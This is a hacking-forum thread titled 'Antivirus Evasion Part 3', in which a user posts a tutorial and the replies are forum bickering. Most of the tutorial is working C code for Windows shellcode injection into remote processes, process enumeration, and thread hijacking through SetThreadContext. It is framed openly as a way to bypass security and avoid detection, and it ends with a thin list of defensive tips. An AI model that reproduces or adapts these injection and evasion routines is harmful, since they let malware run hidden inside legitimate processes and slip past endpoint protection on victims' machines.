Antivirus Evasion Part 3

CryptNeeded

Light Weight
Регистрация
13 Сен 2024
Сообщения
25
Реакции
10
Депозит
0$
I am CRYPTNEEDED from an reputable forum .is I am going to write this full of information article for specially .is
Topics : lets discuss the topics which we going to deep dive today.
the first topic we are going to cover is
-Process Injection - Shellcode.
-Enumerating process via enum
-Thread Hijacking and local thread creation


Process Injection - Shellcode:

in general and most simple words we can say the process injections is an way to inject your malicious code (we can say payload) into the process of another thing. this is also an most common way but in the below you will see more advance poc (proof of concept) we will utilize them together to bypass security.
who use injections:

this method was mostly used by an red teamer to penetrate there system they will utilize this things to see in how many ways we can say the hackers can pretend there system (or hacker will enter in there system) normally red teamer was hire to do penetration testing on there system and them submit reports there they can utilize this things.
second mostly used by thins thing is for hacker normally when we execute our shellcode in single file its pretty much simple and easy to detect when we inject into other file now things become hard to detect.

Over view of injections :
- first we will set an proccess where we will want to inject note that in window 11 and in window 10 names of proccess was different like in window 10 we will use notepad.exe and in window 11 notepad.exe will not work because we have to use Notepad.exe (capital) .
- then we will allocate the memory in past we study about this deeply kindly go from it.
-then our main thing our shellcode will play it will be gone in our alloctaed memory

  • it will then make changes
  • and finally now its time to inject and run

Important Apis To Learn:
now its important to read about the apis which we are going to utilize today you can use any refernce to stuyd about them.
-CreateToolhelp32Snapshot
-Process32First / Process32Nex (for Enumerates Process)
- VirtualAllocEx
-WriteProcessMemory

  • VirtualProtectEx
  • CreateRemoteThread
  • VirtualFreeEx
All set all good now lets deepdive into concepts:
Enumerating process:
now here we just discuss about our target proccess where we are going to inject out payload , shellcode or anything.

Код: Скопировать в буфер обмена
Код:
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {

  // According to the documentation:
  // Before calling the Process32First function, set this member to sizeof(PROCESSENTRY32).
  // If dwSize is not initialized, Process32First fails.
  PROCESSENTRY32  Proc = {
    .dwSize = sizeof(PROCESSENTRY32)
  };

  HANDLE hSnapShot = NULL;

  // Takes a snapshot of the currently running processes
  hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
  if (hSnapShot == INVALID_HANDLE_VALUE){
    printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
    goto _EndOfFunction;
  }

  // Retrieves information about the first process encountered in the snapshot.
  if (!Process32First(hSnapShot, &Proc)) {
    printf("[!] Process32First Failed With Error : %d \n", GetLastError());
    goto _EndOfFunction;
  }

  do {

    WCHAR LowerName[MAX_PATH * 2];

    if (Proc.szExeFile) {
      DWORD  dwSize = lstrlenW(Proc.szExeFile);
      DWORD  i = 0;

      RtlSecureZeroMemory(LowerName, MAX_PATH * 2);

      // Converting each charachter in Proc.szExeFile to a lower case character
      // and saving it in LowerName
      if (dwSize < MAX_PATH * 2) {

        for (; i < dwSize; i++)
          LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);

        LowerName[i++] = '\0';
      }
    }

    // If the lowercase'd process name matches the process we're looking for
    if (wcscmp(LowerName, szProcessName) == 0) {
      // Save the PID
      *dwProcessId = Proc.th32ProcessID;
      // Open a handle to the process
      *hProcess  = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
      if (*hProcess == NULL)
        printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());

      break;
    }

  // Retrieves information about the next process recorded the snapshot.
  // While a process still remains in the snapshot, continue looping
  } while (Process32Next(hSnapShot, &Proc));

  // Cleanup
  _EndOfFunction:
    if (hSnapShot != NULL)
      CloseHandle(hSnapShot);
    if (*dwProcessId == NULL || *hProcess == NULL)
      return FALSE;
    return TRUE;
  }


now here we are using api called CreateToolhelp32Snapshot to get list of proccess first iterate them with our other api called Process32First if the procces match anthen simple save the process id.
Injection of shellcode into an remote proccess:

- to perform an shellcode injcetion our api InjectShellcodeToRemoteProcess will be used.


  • hProcess will be utilized as an handle of remote process.
  • pShellcode and our deobfuscated shellcode base address.
  • in the last the size.

Код: Скопировать в буфер обмена
Код:
BOOL InjectShellcodeToRemoteProcess(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {

  PVOID  pShellcodeAddress       = NULL;

  SIZE_T  sNumberOfBytesWritten     = NULL;
  DWORD  dwOldProtection        = NULL;


  // Allocate memory in the remote process of size sSizeOfShellcode
  pShellcodeAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  if (pShellcodeAddress == NULL) {
    printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
    return FALSE;
  }
  printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);


  printf("[#] Press <Enter> To Write Payload ... ");
  getchar();
  // Write the shellcode in the allocated memory
  if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
    printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
    return FALSE;
  }
  printf("[i] Successfully Written %d Bytes\n", sNumberOfBytesWritten);

  memset(pShellcode, '\0', sSizeOfShellcode);

  // Make the memory region executable
  if (!VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
    printf("[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
    return FALSE;
  }

 
  printf("[#] Press <Enter> To Run ... ");
  getchar();
  printf("[i] Executing Payload ... ");
  // Launch the shellcode in a new thread
  if (CreateRemoteThread(hProcess, NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
    printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
    return FALSE;
  }
  printf("[+] DONE !\n");

  return TRUE;
}

Explanation:

- we are allocation our memory using virtualallocex api
  • then we will an copy our shellcode with WriteProcessMemory api.
  • then we will modify our memory permissions using api called VirtualProtectEx.
  • and then finally execute or run.

Free The Memory:
i mean once the execution completed now its turn to make them free .
Код: Скопировать в буфер обмена
Код:
BOOL FreeRemoteMemory(HANDLE hProcess, LPVOID pShellcodeAddress, SIZE_T sSizeOfShellcode) {
  if (!VirtualFreeEx(hProcess, pShellcodeAddress, sSizeOfShellcode, MEM_RELEASE)) {
    printf("[!] VirtualFreeEx Failed: %d\n", GetLastError());
    return FALSE;
  }
  printf("[i] Memory Deallocated.\n");
  return TRUE;
}

Basic Combination Of All POC (proof of concept):
now its time to put all this things together and utilize them its an basic way and you can add and modify this codes as much as you need i mean utilize them with any other project like our uuid onfuscation or use rc4 or xor .
Код: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] =
  "\x90\x90\x90\xCC"; // Sample shellcode (NOP sled + INT3 for debugging)

int main(int argc, char* argv[]) {
  if (argc < 2) {
    printf("Usage: %s <process_name>\n", argv[0]);
    return 1;
  }

  DWORD dwProcessId;
  HANDLE hProcess;

  if (!GetRemoteProcessHandle(L"notepad.exe", &dwProcessId, &hProcess)) {
    printf("[!] Could not find process!\n");
    return 1;
  }
 
  printf("[+] Found Process: PID = %d\n", dwProcessId);

  if (!InjectShellcodeToRemoteProcess(hProcess, shellcode, sizeof(shellcode))) {
    printf("[!] Injection Failed!\n");
    CloseHandle(hProcess);
    return 1;
  }

  CloseHandle(hProcess);
  return 0;
}

Process Enumeration - EnumProcesses:

Undertanding of proccess enumeration with enum proccess.
process enumertaions is an techniquie to get or call an running proccess of a systems.
Who Use Process Enumeration:

  • process enumertaion majority will be used by an malware analyst to understand runing file.
  • will be utilized for an ideal use of tracking of runing proccess.
  • and the last an process injections.
Now we have different ways for enumerate our proccess provided below:

  • CreateToolhelp32Snapshot
  • EnumProcess
In this model we are going to utilize our EnumProcess:
The EnumProcesses will get an whole currently runing proccess ids also we can say pids. but make sure this will not print or get proccess name.
In nutshell how this will work:
-first of all we will call our Enumprocess for retrieve of arrays.


  • then we will utilize loop for each pid and then we will utilize our openprocess.
  • then we will call EnumproccessModules to reterive model we can say an main or important executable proccess.

Implementations:
Код: Скопировать в буфер обмена
Код:
BOOL PrintProcesses() {
  DWORD adwProcesses[1024 * 2], dwReturnLen1 = NULL, dwReturnLen2 = NULL, dwNmbrOfPids = NULL;
  HANDLE hProcess = NULL;
  HMODULE hModule = NULL;
  WCHAR szProc[MAX_PATH];

  // Step 1: Get the array of PIDs
  if (!EnumProcesses(adwProcesses, sizeof(adwProcesses), &dwReturnLen1)) {
    printf("[!] EnumProcesses Failed With Error : %d \n", GetLastError());
    return FALSE;
  }

  // Step 2: Calculate the number of processes
  dwNmbrOfPids = dwReturnLen1 / sizeof(DWORD);
  printf("[i] Number Of Processes Detected : %d \n", dwNmbrOfPids);

  // Step 3: Loop through each PID
  for (int i = 0; i < dwNmbrOfPids; i++) {
    if (adwProcesses[i] != NULL) {
     
      // Step 4: Open a handle to the process
      if ((hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, adwProcesses[i])) != NULL) {

        // Step 5: Get a handle to a module in the process
        if (!EnumProcessModules(hProcess, &hModule, sizeof(HMODULE), &dwReturnLen2)) {
          printf("[!] EnumProcessModules Failed [ At Pid: %d ] With Error : %d \n", adwProcesses[i], GetLastError());
        }
        else {
          // Step 6: Retrieve process name
          if (!GetModuleBaseName(hProcess, hModule, szProc, sizeof(szProc) / sizeof(WCHAR))) {
            printf("[!] GetModuleBaseName Failed [ At Pid: %d ] With Error : %d \n", adwProcesses[i], GetLastError());
          }
          else {
            // Step 7: Print process name and PID
            wprintf(L"[%0.3d] Process \"%s\" - Of Pid : %d \n", i, szProc, adwProcesses[i]);
          }
        }

        // Step 8: Close handle
        CloseHandle(hProcess);
      }
    }
  }
  return TRUE;
}

There is nothing much to explain i mean the concepts was already explain above the concept in working .
What for an Targeting Process:

Код: Скопировать в буфер обмена
Код:
BOOL GetRemoteProcessHandle(LPCWSTR szProcName, DWORD* pdwPid, HANDLE* phProcess) {
  DWORD adwProcesses[1024 * 2], dwReturnLen1 = NULL, dwReturnLen2 = NULL, dwNmbrOfPids = NULL;
  HANDLE hProcess = NULL;
  HMODULE hModule = NULL;
  WCHAR szProc[MAX_PATH];

  // Step 1: Get the array of PIDs
  if (!EnumProcesses(adwProcesses, sizeof(adwProcesses), &dwReturnLen1)) {
    printf("[!] EnumProcesses Failed With Error : %d \n", GetLastError());
    return FALSE;
  }

  // Step 2: Calculate number of processes
  dwNmbrOfPids = dwReturnLen1 / sizeof(DWORD);
  printf("[i] Number Of Processes Detected : %d \n", dwNmbrOfPids);

  // Step 3: Loop through each process
  for (int i = 0; i < dwNmbrOfPids; i++) {
    if (adwProcesses[i] != NULL) {

      // Step 4: Open process with full access
      if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, adwProcesses[i])) != NULL) {

        // Step 5: Get module handle
        if (!EnumProcessModules(hProcess, &hModule, sizeof(HMODULE), &dwReturnLen2)) {
          printf("[!] EnumProcessModules Failed [ At Pid: %d ] With Error : %d \n", adwProcesses[i], GetLastError());
        }
        else {
          // Step 6: Retrieve process name
          if (!GetModuleBaseName(hProcess, hModule, szProc, sizeof(szProc) / sizeof(WCHAR))) {
            printf("[!] GetModuleBaseName Failed [ At Pid: %d ] With Error : %d \n", adwProcesses[i], GetLastError());
          }
          else {
            // Step 7: Compare process name
            if (wcscmp(szProcName, szProc) == 0) {
              wprintf(L"[+] FOUND \"%s\" - Of Pid : %d \n", szProc, adwProcesses[i]);
              *pdwPid = adwProcesses[i];  // Return PID
              *phProcess = hProcess;    // Return process handle
              break;
            }
          }
        }

        // Step 8: Close handle if not matched
        CloseHandle(hProcess);
      }
    }
  }

  // Step 9: Check if process was found
  return (*pdwPid != NULL && *phProcess != NULL);
}

this time we will utilize printprocess function for an specific or an particular function from there name.

we will again call an enumprocess first then will same utilize our loops from pid will utilise enumprocessmodule to get proccess module. and then we are going to compaire the proccess names using wscmp if it match it will simply retrive.



Thread Hijacking and local thread creation:
in simple words we can an thread hijacking is an way to execute without creating an new create thread. this will help us to to get few less detections because modern security have did red flag for few api which included create thread. in simple words we can say its an advance way instead of execution of our own payload simple we will inject to another it will make harder to detect.
now in this model we will simple say we will first suspend an exisitng thread modify it execution path and then simple resume the thread.
Before going deepdive into our techniquie first lets understand basically difference between thread hijacking and thread creation.
the basic and most important difference is less detecetions and stealth of malware.
creating an new thread will expose our basically address of shellcode base address.
on the other hand hijacking will looks like an normal and more legtimate process.

why Thread Hijacking and local thread creation:
the main reason i can give is simple for the evading and we can say to bypass security.

if use an trusted and running proccess it will m ake harder to detect our code i mean in this we will not execute our own payload we will inject our shellcode into other process.
the tip i have for you is avoid the common injection points which utilise by all.


Steps for doing thread hijacking:
the first and most important thing is first we need an runing thread to hijack. now also put in your mind its not possible to hijack an runing local main process.
so we are not able ti hijack an local running proccess first we need now create an suspended thread.

Код: Скопировать в буфер обмена
Код:
HANDLE hThread = NULL;

// Creating a thread in a suspended state
hThread = CreateThread(
  NULL,
  NULL,
  (LPTHREAD_START_ROUTINE)&DummyFunction, // A harmless function
  NULL,
  CREATE_SUSPENDED, // Start in suspended mode
  NULL
);
if (hThread == NULL) {
  printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
  return FALSE;
}

now here first we will create an thread that will run an dummy function.
Now lets Modify Our Threads:

now our first step is to reterive our threads. when the thread resumes executions the payload will be executed.
GetThreadContext will be now used to retrive the thread. now value will be modified to our modify threads context using SetThreadContext . while the values are changing in structure are those that decide wthat the thread next will be execute next. the values will be in 64 bit process.

Thread Hijacking Functions:
now we will utilise RunViaClassicThreadHijacking that will basically perform an thread hijacking. this will normally require 3 arguments.
  • hThread used to handle an suspended thread.
  • pPayload pointer for an payloads base address.

- sPayloadSize simple the size of address.
Код: Скопировать в буфер обмена
Код:
BOOL RunViaClassicThreadHijacking(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
 
  PVOID  pAddress     = NULL;
  DWORD  dwOldProtection = NULL;
  CONTEXT ThreadCtx    = {
    .ContextFlags = CONTEXT_CONTROL
  };

  // Allocating memory for the payload
  pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  if (pAddress == NULL){
    printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
    return FALSE;
  }

  // Copying the payload to the allocated memory
  memcpy(pAddress, pPayload, sPayloadSize);

  // Changing the memory protection
  if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
    printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
    return FALSE;
  }

  // Getting the original thread context
  if (!GetThreadContext(hThread, &ThreadCtx)){
    printf("[!] GetThreadContext Failed With Error : %d \n", GetLastError());
    return FALSE;
  }

  // Updating the next instruction pointer to be equal to the payload's address
  ThreadCtx.Rip = pAddress;

  // Updating the new thread context
  if (!SetThreadContext(hThread, &ThreadCtx)) {
    printf("[!] SetThreadContext Failed With Error : %d \n", GetLastError());
    return FALSE;
  }

  return TRUE;
}

Sacrificial Thread:​

well RunViaClassicThreadHijacking will need handle for a thread, mentioned in previous , the targeted thread needs to be in a suspended state to RunViaClassicThreadHijacking to successfully hijack the thread.

Lets Now see Our Main Functions:

Код: Скопировать в буфер обмена
Код:
int main() {
 
  HANDLE hThread = NULL;

  // Creating sacrificial thread in suspended state
  hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) &DummyFunction, NULL, CREATE_SUSPENDED, NULL);
  if (hThread == NULL) {
    printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
    return FALSE;
  }

  // Hijacking the sacrificial thread created
  if (!RunViaClassicThreadHijacking(hThread, Payload, sizeof(Payload))) {
    return -1;
  }

  // Resuming suspended thread, so that it runs our shellcode
  ResumeThread(hThread);
 
  printf("[#] Press <Enter> To Quit ... ");
  getchar();

  return 0;
}




Now readers make sure to utilise all previous concepts and mostly this section was much important to dijest propely because now after few general concepts we are going to move on intermediate sections.
which normally contains
-APC injections

  • callback code executions
  • local mapping injcetions
  • remote mapping injcetions
  • spoofing ppid
  • process argument spoofing concepts
  • parsing pe headers
  • string hasing
How To Protect Our Self:
if you want to protect your self need an something which looks for behaviour of file, do memory analysis and also do system hardening.
make sure your window defender is up to date your window is up to date
look for an suspicious api and functions
make sure to have a look an unsuall memory allocations
normal program doesnot used NtSetContextThread() or SuspendThread() for this process use window defender Attack Surface Reduction
if possible use kernal based monitering system to detect stealthy payloads

Or instead of doing manually use edr which will do for you now you can choose edr according to your budget the most cheap edr in market is have called crowdstrike its an proper solution but we can say you will be protected from many attacks


This was not the final syllabous for an intermediate with time and the responce of users i will change concepts and after this all concepts we will use for more advance concepts i mean we will start advance setions

Thank You For Reading make sure to utilise and digest properly this concepts for the understanding of upcoming topics

Thank You
 
CryptNeeded сказал(а):
in window 10 names of proccess was different like in window 10 we will use notepad.exe and in window 11 notepad.exe will not work because we have to use Notepad.exe (capital) .



CryptNeeded сказал(а):
How To Protect Our Self:
if you want to protect your self need an something which looks for behaviour of file, do memory analysis and also do system hardening.
make sure your window defender is up to date your window is up to date
look for an suspicious api and functions
make sure to have a look an unsuall memory allocations
normal program doesnot used NtSetContextThread() or SuspendThread() for this process use window defender Attack Surface Reduction
if possible use kernal based monitering system to detect stealthy payloads

Or instead of doing manually use edr which will do for you now you can choose edr according to your budget the most cheap edr in market is have called crowdstrike its an proper solution but we can say you will be protected from many attacks
 
shrekushka I am waiting for the moderator's reply or admin reply of my reports. From the start, you have been ruining my posts without any logical things in first post you did and I compiled all code again and then you stop replying. You don't know anything, and I don't care, but you are ruining my posts now its to much be in your limits now.
 
One of us will start offering paid services sooner or later -> coax the client ever so gently into sidestepping escrow -> once the imbecilic mark takes the bait -> it’s a quick hop to a $400 arbitration and pop back up with a fresh handle "@ CryptNeeded2.0"
 
CryptNeeded сказал(а):
the moderator's reply or admin reply of my reports
When you post anything to the public be prepared that this anything would be criticized to any extent. This is how publicity work in this world and I don't think moderators needs to do something with it especially when the criticism is somewhat valid. If you look at this article from my point of view: I actually found out that we can inject code to other processes with CreateRemoteThread using Jeffrey Richter's book like in 2008 or something, and I'm still reading about it here over again. Maybe there are some points in rewriting stuff over and over again to keep community active or something, but again the main thing that shrekushka is arguing against is asking to be payed to rewrite stuff we've seen being rewrited for the last 15 or something years.
 
A
DildoFagins сказал(а):
When you post anything to the public be prepared that this anything would be criticized to any extent. This is how publicity works in this world and I don't think moderators need to do something with it especially when the criticism is somewhat valid. If you look at this article from my point of view: I actually found out that we can inject code to other processes with CreateRemoteThread using Jeffrey Richter's book like in 2008 or something, and I'm still reading about it here over again. Maybe there are some points in rewriting stuff over and over again to keep community active or something, but again the main thing that shrekushka is arguing against is asking to be paid to rewrite stuff we've seen being rewritten for the last 15 or something years.
Actually if you see this was just an basic concept but I have seen no one else posting content like this i start posting from zero and going to advance and it's not make any sense like you have knowledge in this things and you not post like this person I mean it not making any sense when I posted clearly it was an basic series still thank you for your reply I will normally just skip this person
 
shrekushka сказал(а):
Maybe it’s time to dust off this classic)


Further down memory lane...


Thanks for sticking around + sharing your knowledge with us all these years.)



PS. sorry ran out of likes for the day lol
OK let's take them like this on my every new post suggest me there batter things and I will update my content no hate and second for your upper text I am not going to start selling of any cryptic etc I will release all stuff free
 
Назад
Сверху